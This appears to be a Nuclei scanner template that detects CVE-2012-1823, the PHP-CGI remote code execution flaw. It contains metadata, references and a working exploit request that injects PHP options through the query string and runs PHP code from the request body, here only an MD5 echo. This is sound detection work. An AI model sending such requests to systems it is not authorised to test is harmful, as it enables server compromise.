52 lines
1.9 KiB
YAML
52 lines
1.9 KiB
YAML
id: CVE-2012-1823
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info:
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name: PHP CGI v5.3.12/5.4.2 Remote Code Execution
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author: pikpikcu
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severity: high
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description: |
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sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'd' case.
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impact: |
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Remote code execution
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remediation: |
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Upgrade to a patched version of PHP or apply the necessary security patches.
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reference:
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- https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823
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- https://nvd.nist.gov/vuln/detail/CVE-2012-1823
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- https://bugs.php.net/bug.php?id=61910
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- http://www.php.net/ChangeLog-5.php#5.4.2
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- http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03360041
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classification:
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cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
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cvss-score: 7.5
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cve-id: CVE-2012-1823
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cwe-id: CWE-20
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epss-score: 0.97491
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epss-percentile: 0.99972
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cpe: cpe:2.3:a:php:php:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: php
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product: php
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tags: cve2012,kev,vulhub,rce,php,cve
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http:
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- raw:
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- |
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POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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<?php echo md5('CVE-2012-1823'); ?>
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "3d638155445bffb044eec401381ad784"
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- type: status
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status:
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- 200
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# digest: 4b0a00483046022100fd1ef5cb690f86a1f760e3b9260ee0d404eb638cd7fdc6d658fa3b9d6e47a71b022100ccad809d8c7393f1a2853b92c9640b6ac779007abaf95fd8a042ba5e514c71b1:922c64590222798bb761d5b6d8e72950 |